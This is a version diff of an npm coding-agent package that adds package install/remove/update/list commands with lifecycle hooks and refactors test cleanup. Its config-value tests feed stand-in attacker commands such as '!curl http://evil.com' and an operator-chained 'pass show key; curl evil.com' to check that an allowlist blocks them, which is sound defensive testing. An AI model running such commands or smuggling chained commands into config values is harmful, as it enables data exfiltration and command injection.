gsd-pi 2.43.0-next.8 → 2.44.0-dev.0b97ffd

package/packages/pi-coding-agent/src/core/package-commands.ts

@@ -0,0 +1,310 @@
+import chalk from "chalk";
+import { DefaultPackageManager } from "./package-manager.js";
+import { prepareLifecycleHooks, runLifecycleHooks } from "./lifecycle-hooks.js";
+import { SettingsManager } from "./settings-manager.js";
+
+export type PackageCommand = "install" | "remove" | "update" | "list";
+
+export interface PackageCommandOptions {
+	command: PackageCommand;
+	source?: string;
+	local: boolean;
+	help: boolean;
+	invalidOption?: string;
+}
+
+export interface PackageCommandRunnerOptions {
+	appName: string;
+	args: string[];
+	cwd: string;
+	agentDir: string;
+	stdout?: NodeJS.WriteStream;
+	stderr?: NodeJS.WriteStream;
+	allowedCommands?: ReadonlySet<PackageCommand>;
+}
+
+export interface PackageCommandRunnerResult {
+	handled: boolean;
+	exitCode: number;
+}
+
+function reportSettingsErrors(settingsManager: SettingsManager, context: string, stderr: NodeJS.WriteStream): void {
+	const errors = settingsManager.drainErrors();
+	for (const { scope, error } of errors) {
+		stderr.write(chalk.yellow(`Warning (${context}, ${scope} settings): ${error.message}`) + "\n");
+		if (error.stack) {
+			stderr.write(chalk.dim(error.stack) + "\n");
+		}
+	}
+}
+
+export function getPackageCommandUsage(appName: string, command: PackageCommand): string {
+	switch (command) {
+		case "install":
+			return `${appName} install <source> [-l]`;
+		case "remove":
+			return `${appName} remove <source> [-l]`;
+		case "update":
+			return `${appName} update [source]`;
+		case "list":
+			return `${appName} list`;
+	}
+}
+
+function printPackageCommandHelp(
+	appName: string,
+	command: PackageCommand,
+	stdout: NodeJS.WriteStream,
+): void {
+	switch (command) {
+		case "install":
+			stdout.write(`${chalk.bold("Usage:")}
+  ${getPackageCommandUsage(appName, "install")}
+
+Install a package, add it to settings, and run lifecycle hooks.
+
+Options:
+  -l, --local    Install project-locally (.pi/settings.json)
+
+Examples:
+  ${appName} install npm:@foo/bar
+  ${appName} install git:github.com/user/repo
+  ${appName} install git:git@github.com:user/repo
+  ${appName} install https://github.com/user/repo
+  ${appName} install ssh://git@github.com/user/repo
+  ${appName} install ./local/path
+`);
+			return;
+		case "remove":
+			stdout.write(`${chalk.bold("Usage:")}
+  ${getPackageCommandUsage(appName, "remove")}
+
+Remove a package and its source from settings.
+
+Options:
+  -l, --local    Remove from project settings (.pi/settings.json)
+
+Example:
+  ${appName} remove npm:@foo/bar
+`);
+			return;
+		case "update":
+			stdout.write(`${chalk.bold("Usage:")}
+  ${getPackageCommandUsage(appName, "update")}
+
+Update installed packages.
+If <source> is provided, only that package is updated.
+`);
+			return;
+		case "list":
+			stdout.write(`${chalk.bold("Usage:")}
+  ${getPackageCommandUsage(appName, "list")}
+
+List installed packages from user and project settings.
+`);
+			return;
+	}
+}
+
+export function parsePackageCommand(
+	args: string[],
+	allowedCommands?: ReadonlySet<PackageCommand>,
+): PackageCommandOptions | undefined {
+	const [command, ...rest] = args;
+	if (command !== "install" && command !== "remove" && command !== "update" && command !== "list") {
+		return undefined;
+	}
+	if (allowedCommands && !allowedCommands.has(command)) {
+		return undefined;
+	}
+
+	let local = false;
+	let help = false;
+	let invalidOption: string | undefined;
+	let source: string | undefined;
+
+	for (const arg of rest) {
+		if (arg === "-h" || arg === "--help") {
+			help = true;
+			continue;
+		}
+		if (arg === "-l" || arg === "--local") {
+			if (command === "install" || command === "remove") {
+				local = true;
+			} else {
+				invalidOption = invalidOption ?? arg;
+			}
+			continue;
+		}
+		if (arg.startsWith("-")) {
+			invalidOption = invalidOption ?? arg;
+			continue;
+		}
+		if (!source) {
+			source = arg;
+		}
+	}
+
+	return { command, source, local, help, invalidOption };
+}
+
+export async function runPackageCommand(
+	options: PackageCommandRunnerOptions,
+): Promise<PackageCommandRunnerResult> {
+	const stdout = options.stdout ?? process.stdout;
+	const stderr = options.stderr ?? process.stderr;
+	const parsed = parsePackageCommand(options.args, options.allowedCommands);
+	if (!parsed) {
+		return { handled: false, exitCode: 0 };
+	}
+
+	if (parsed.help) {
+		printPackageCommandHelp(options.appName, parsed.command, stdout);
+		return { handled: true, exitCode: 0 };
+	}
+
+	if (parsed.invalidOption) {
+		stderr.write(chalk.red(`Unknown option ${parsed.invalidOption} for "${parsed.command}".`) + "\n");
+		stderr.write(chalk.dim(`Use "${options.appName} --help" or "${getPackageCommandUsage(options.appName, parsed.command)}".`) + "\n");
+		return { handled: true, exitCode: 1 };
+	}
+
+	const source = parsed.source;
+	if ((parsed.command === "install" || parsed.command === "remove") && !source) {
+		stderr.write(chalk.red(`Missing ${parsed.command} source.`) + "\n");
+		stderr.write(chalk.dim(`Usage: ${getPackageCommandUsage(options.appName, parsed.command)}`) + "\n");
+		return { handled: true, exitCode: 1 };
+	}
+
+	const settingsManager = SettingsManager.create(options.cwd, options.agentDir);
+	reportSettingsErrors(settingsManager, "package command", stderr);
+	const packageManager = new DefaultPackageManager({
+		cwd: options.cwd,
+		agentDir: options.agentDir,
+		settingsManager,
+	});
+	packageManager.setProgressCallback((event) => {
+		if (event.type === "start" && event.message) {
+			stdout.write(chalk.dim(`${event.message}\n`));
+		}
+	});
+
+	try {
+		switch (parsed.command) {
+			case "install": {
+				const lifecycleOptions = {
+					source: source!,
+					local: parsed.local,
+					cwd: options.cwd,
+					agentDir: options.agentDir,
+					appName: options.appName,
+					packageManager,
+					stdout,
+					stderr,
+				};
+
+				const beforeInstallHooks = await prepareLifecycleHooks(lifecycleOptions, "source");
+				const beforeInstallResult = await runLifecycleHooks(beforeInstallHooks, "beforeInstall");
+
+				await packageManager.install(source!, { local: parsed.local });
+				packageManager.addSourceToSettings(source!, { local: parsed.local });
+
+				const afterInstallHooks = await prepareLifecycleHooks(lifecycleOptions, "installed", {
+					verifyRuntimeDependencies: true,
+				});
+				const afterInstallResult = await runLifecycleHooks(afterInstallHooks, "afterInstall");
+
+				const hookErrors = beforeInstallResult.hookErrors + afterInstallResult.hookErrors;
+				if (hookErrors > 0) {
+					stderr.write(chalk.yellow(`Lifecycle hooks completed with ${hookErrors} hook error(s).`) + "\n");
+				}
+				stdout.write(chalk.green(`Installed ${source}`) + "\n");
+				return { handled: true, exitCode: 0 };
+			}
+
+			case "remove": {
+				const lifecycleOptions = {
+					source: source!,
+					local: parsed.local,
+					cwd: options.cwd,
+					agentDir: options.agentDir,
+					appName: options.appName,
+					packageManager,
+					stdout,
+					stderr,
+				};
+				const removeHooks = await prepareLifecycleHooks(lifecycleOptions, "installed");
+				const beforeRemoveResult = await runLifecycleHooks(removeHooks, "beforeRemove");
+
+				await packageManager.remove(source!, { local: parsed.local });
+				const removed = packageManager.removeSourceFromSettings(source!, { local: parsed.local });
+
+				const afterRemoveResult = await runLifecycleHooks(removeHooks, "afterRemove");
+				const hookErrors = beforeRemoveResult.hookErrors + afterRemoveResult.hookErrors;
+				if (hookErrors > 0) {
+					stderr.write(chalk.yellow(`Lifecycle hooks completed with ${hookErrors} hook error(s).`) + "\n");
+				}
+
+				if (!removed) {
+					stderr.write(chalk.red(`No matching package found for ${source}`) + "\n");
+					return { handled: true, exitCode: 1 };
+				}
+				stdout.write(chalk.green(`Removed ${source}`) + "\n");
+				return { handled: true, exitCode: 0 };
+			}
+
+			case "list": {
+				const globalSettings = settingsManager.getGlobalSettings();
+				const projectSettings = settingsManager.getProjectSettings();
+				const globalPackages = globalSettings.packages ?? [];
+				const projectPackages = projectSettings.packages ?? [];
+
+				if (globalPackages.length === 0 && projectPackages.length === 0) {
+					stdout.write(chalk.dim("No packages installed.") + "\n");
+					return { handled: true, exitCode: 0 };
+				}
+
+				const formatPackage = (pkg: (typeof globalPackages)[number], scope: "user" | "project") => {
+					const pkgSource = typeof pkg === "string" ? pkg : pkg.source;
+					const filtered = typeof pkg === "object";
+					const display = filtered ? `${pkgSource} (filtered)` : pkgSource;
+					stdout.write(`  ${display}\n`);
+					const path = packageManager.getInstalledPath(pkgSource, scope);
+					if (path) {
+						stdout.write(chalk.dim(`    ${path}`) + "\n");
+					}
+				};
+
+				if (globalPackages.length > 0) {
+					stdout.write(chalk.bold("User packages:") + "\n");
+					for (const pkg of globalPackages) {
+						formatPackage(pkg, "user");
+					}
+				}
+
+				if (projectPackages.length > 0) {
+					if (globalPackages.length > 0) stdout.write("\n");
+					stdout.write(chalk.bold("Project packages:") + "\n");
+					for (const pkg of projectPackages) {
+						formatPackage(pkg, "project");
+					}
+				}
+
+				return { handled: true, exitCode: 0 };
+			}
+
+			case "update":
+				await packageManager.update(source);
+				if (source) {
+					stdout.write(chalk.green(`Updated ${source}`) + "\n");
+				} else {
+					stdout.write(chalk.green("Updated packages") + "\n");
+				}
+				return { handled: true, exitCode: 0 };
+		}
+	} catch (error) {
+		const message = error instanceof Error ? error.message : "Unknown package command error";
+		stderr.write(chalk.red(`Error: ${message}`) + "\n");
+		return { handled: true, exitCode: 1 };
+	}
+}

package/packages/pi-coding-agent/src/core/resolve-config-value.test.ts

@@ -38,21 +38,20 @@ describe("resolveConfigValue — non-command values", () => {
 });
 
 describe("resolveConfigValue — command allowlist enforcement", () => {
-	it("blocks a disallowed command and returns undefined", () => {
+	it("blocks a disallowed command and returns undefined", (t) => {
 		const stderrChunks: string[] = [];
 		const originalWrite = process.stderr.write.bind(process.stderr);
 		process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
 			stderrChunks.push(chunk.toString());
 			return true;
 		};
-
-		try {
-			const result = resolveConfigValue("!curl http://evil.com");
-			assert.equal(result, undefined);
-			assert.ok(stderrChunks.some((line) => line.includes("curl")));
-		} finally {
+		t.after(() => {
 			process.stderr.write = originalWrite;
-		}
+		});
+
+		const result = resolveConfigValue("!curl http://evil.com");
+		assert.equal(result, undefined);
+		assert.ok(stderrChunks.some((line) => line.includes("curl")));
 	});
 
 	it("blocks another disallowed command (rm)", () => {
@@ -65,7 +64,7 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
 		assert.equal(result, undefined);
 	});
 
-	it("allows a safe command prefix to proceed to execution", () => {
+	it("allows a safe command prefix to proceed to execution", (t) => {
 		// `pass` is unlikely to be installed in CI, so we just verify it does NOT
 		// return undefined due to the allowlist check — it may return undefined if
 		// the binary is absent, but the block path must not be taken.
@@ -76,16 +75,15 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
 			stderrChunks.push(chunk.toString());
 			return true;
 		};
-
-		try {
-			resolveConfigValue("!pass show nonexistent-entry-for-test");
-			const blocked = stderrChunks.some((line) =>
-				line.includes("Blocked disallowed command")
-			);
-			assert.equal(blocked, false, "pass should not be blocked by the allowlist");
-		} finally {
+		t.after(() => {
 			process.stderr.write = originalWrite;
-		}
+		});
+
+		resolveConfigValue("!pass show nonexistent-entry-for-test");
+		const blocked = stderrChunks.some((line) =>
+			line.includes("Blocked disallowed command")
+		);
+		assert.equal(blocked, false, "pass should not be blocked by the allowlist");
 	});
 });
 
@@ -130,61 +128,58 @@ describe("resolveConfigValue — shell operator bypass prevention", () => {
 		assert.equal(result, undefined);
 	});
 
-	it("writes stderr warning when shell operators detected", () => {
+	it("writes stderr warning when shell operators detected", (t) => {
 		const stderrChunks: string[] = [];
 		const originalWrite = process.stderr.write.bind(process.stderr);
 		process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
 			stderrChunks.push(chunk.toString());
 			return true;
 		};
-
-		try {
-			resolveConfigValue("!pass show key; curl evil.com");
-			assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
-		} finally {
+		t.after(() => {
 			process.stderr.write = originalWrite;
-		}
+		});
+
+		resolveConfigValue("!pass show key; curl evil.com");
+		assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
 	});
 });
 
 describe("resolveConfigValue — caching", () => {
-	it("caches the result of a blocked command", () => {
+	it("caches the result of a blocked command", (t) => {
 		const callCount = { n: 0 };
 		const originalWrite = process.stderr.write.bind(process.stderr);
 		process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
 			callCount.n++;
 			return true;
 		};
-
-		try {
-			resolveConfigValue("!curl http://evil.com");
-			resolveConfigValue("!curl http://evil.com");
-			// The block warning should only fire once; the second call hits the cache
-			// before reaching the allowlist check, so stderr count is 1.
-			assert.equal(callCount.n, 1);
-		} finally {
+		t.after(() => {
 			process.stderr.write = originalWrite;
-		}
+		});
+
+		resolveConfigValue("!curl http://evil.com");
+		resolveConfigValue("!curl http://evil.com");
+		// The block warning should only fire once; the second call hits the cache
+		// before reaching the allowlist check, so stderr count is 1.
+		assert.equal(callCount.n, 1);
 	});
 
-	it("clearConfigValueCache resets cached entries", () => {
+	it("clearConfigValueCache resets cached entries", (t) => {
 		const stderrChunks: string[] = [];
 		const originalWrite = process.stderr.write.bind(process.stderr);
 		process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
 			stderrChunks.push(chunk.toString());
 			return true;
 		};
+		t.after(() => {
+			process.stderr.write = originalWrite;
+		});
 
-		try {
-			resolveConfigValue("!curl http://evil.com");
-			assert.equal(stderrChunks.length, 1);
+		resolveConfigValue("!curl http://evil.com");
+		assert.equal(stderrChunks.length, 1);
 
-			clearConfigValueCache();
+		clearConfigValueCache();
 
-			resolveConfigValue("!curl http://evil.com");
-			assert.equal(stderrChunks.length, 2);
-		} finally {
-			process.stderr.write = originalWrite;
-		}
+		resolveConfigValue("!curl http://evil.com");
+		assert.equal(stderrChunks.length, 2);
 	});
 });

package/packages/pi-coding-agent/src/core/sdk.ts

@@ -333,6 +333,10 @@ export async function createAgentSession(options: CreateAgentSessionOptions = {}
 			if (!resolvedProvider) {
 				throw new Error("No model selected");
 			}
+			const authMode = modelRegistry.getProviderAuthMode(resolvedProvider);
+			if (authMode === "externalCli" || authMode === "none") {
+				return undefined;
+			}
 
 			// Retry key resolution with backoff to handle transient network failures
 			// (e.g., OAuth token refresh failing due to brief connectivity loss).

package/packages/pi-coding-agent/src/core/session-manager.test.ts

@@ -1,5 +1,5 @@
 import assert from "node:assert/strict";
-import { describe, it } from "node:test";
+import { describe, it, afterEach } from "node:test";
 import { mkdtempSync, rmSync } from "node:fs";
 import { join } from "node:path";
 import { tmpdir } from "node:os";
@@ -22,44 +22,44 @@ function makeAssistantMessage(input: number, output: number, cacheRead = 0, cach
 }
 
 describe("SessionManager usage totals", () => {
-	it("tracks assistant usage incrementally without rescanning entries", () => {
-		const dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
-		try {
-			const manager = SessionManager.create(dir, dir);
-
-			manager.appendMessage({ role: "user", content: [{ type: "text", text: "hello" }] } as any);
-			manager.appendMessage(makeAssistantMessage(10, 5, 3, 2, 0.25));
-			manager.appendMessage(makeAssistantMessage(7, 4, 1, 0, 0.1));
+	let dir: string;
 
-			assert.deepEqual(manager.getUsageTotals(), {
-				input: 17,
-				output: 9,
-				cacheRead: 4,
-				cacheWrite: 2,
-				cost: 0.35,
-			});
-		} finally {
+	afterEach(() => {
+		if (dir) {
 			rmSync(dir, { recursive: true, force: true });
 		}
 	});
 
+	it("tracks assistant usage incrementally without rescanning entries", () => {
+		dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
+		const manager = SessionManager.create(dir, dir);
+
+		manager.appendMessage({ role: "user", content: [{ type: "text", text: "hello" }] } as any);
+		manager.appendMessage(makeAssistantMessage(10, 5, 3, 2, 0.25));
+		manager.appendMessage(makeAssistantMessage(7, 4, 1, 0, 0.1));
+
+		assert.deepEqual(manager.getUsageTotals(), {
+			input: 17,
+			output: 9,
+			cacheRead: 4,
+			cacheWrite: 2,
+			cost: 0.35,
+		});
+	});
+
 	it("resets totals when starting a new session", () => {
-		const dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
-		try {
-			const manager = SessionManager.create(dir, dir);
-			manager.appendMessage(makeAssistantMessage(5, 5, 0, 0, 0.05));
-			assert.equal(manager.getUsageTotals().input, 5);
+		dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
+		const manager = SessionManager.create(dir, dir);
+		manager.appendMessage(makeAssistantMessage(5, 5, 0, 0, 0.05));
+		assert.equal(manager.getUsageTotals().input, 5);
 
-			manager.newSession();
-			assert.deepEqual(manager.getUsageTotals(), {
-				input: 0,
-				output: 0,
-				cacheRead: 0,
-				cacheWrite: 0,
-				cost: 0,
-			});
-		} finally {
-			rmSync(dir, { recursive: true, force: true });
-		}
+		manager.newSession();
+		assert.deepEqual(manager.getUsageTotals(), {
+			input: 0,
+			output: 0,
+			cacheRead: 0,
+			cacheWrite: 0,
+			cost: 0,
+		});
 	});
 });

package/packages/pi-coding-agent/src/core/tools/edit-diff.test.ts

@@ -60,26 +60,26 @@ describe("edit-diff", () => {
 		assert.match(result.diff, /CHANGED/);
 	});
 
-	it("computes diffs for preview without native helpers", async () => {
+	it("computes diffs for preview without native helpers", async (t) => {
 		const dir = mkdtempSync(join(tmpdir(), "edit-diff-test-"));
-		try {
-			const file = join(dir, "sample.ts");
-			writeFileSync(file, "const title = “Hello”;\n", "utf-8");
+		t.after(() => {
+			rmSync(dir, { recursive: true, force: true });
+		});
 
-			const result = await computeEditDiff(
-				file,
-				"const title = \"Hello\";\n",
-				"const title = \"Hi\";\n",
-				dir,
-			);
+		const file = join(dir, "sample.ts");
+		writeFileSync(file, "const title = “Hello”;\n", "utf-8");
 
-			assert.ok(!("error" in result), "expected a diff result");
-			if (!("error" in result)) {
-				assert.equal(result.firstChangedLine, 1);
-				assert.match(result.diff, /\+1 const title = "Hi";/);
-			}
-		} finally {
-			rmSync(dir, { recursive: true, force: true });
+		const result = await computeEditDiff(
+			file,
+			"const title = \"Hello\";\n",
+			"const title = \"Hi\";\n",
+			dir,
+		);
+
+		assert.ok(!("error" in result), "expected a diff result");
+		if (!("error" in result)) {
+			assert.equal(result.firstChangedLine, 1);
+			assert.match(result.diff, /\+1 const title = "Hi";/);
 		}
 	});
 });

package/packages/pi-coding-agent/src/index.ts

@@ -94,6 +94,11 @@ export type {
 	MessageRenderOptions,
 	ProviderConfig,
 	ProviderModelConfig,
+	LifecycleHookContext,
+	LifecycleHookHandler,
+	LifecycleHookMap,
+	LifecycleHookPhase,
+	LifecycleHookScope,
 	ReadToolCallEvent,
 	RegisteredCommand,
 	RegisteredTool,
@@ -152,6 +157,8 @@ export type {
 	ResolvedResource,
 } from "./core/package-manager.js";
 export { DefaultPackageManager } from "./core/package-manager.js";
+export type { PackageCommand, PackageCommandOptions, PackageCommandRunnerOptions, PackageCommandRunnerResult } from "./core/package-commands.js";
+export { getPackageCommandUsage, parsePackageCommand, runPackageCommand } from "./core/package-commands.js";
 export type { ResourceCollision, ResourceDiagnostic, ResourceLoader } from "./core/resource-loader.js";
 export { DefaultResourceLoader } from "./core/resource-loader.js";
 // SDK for programmatic usage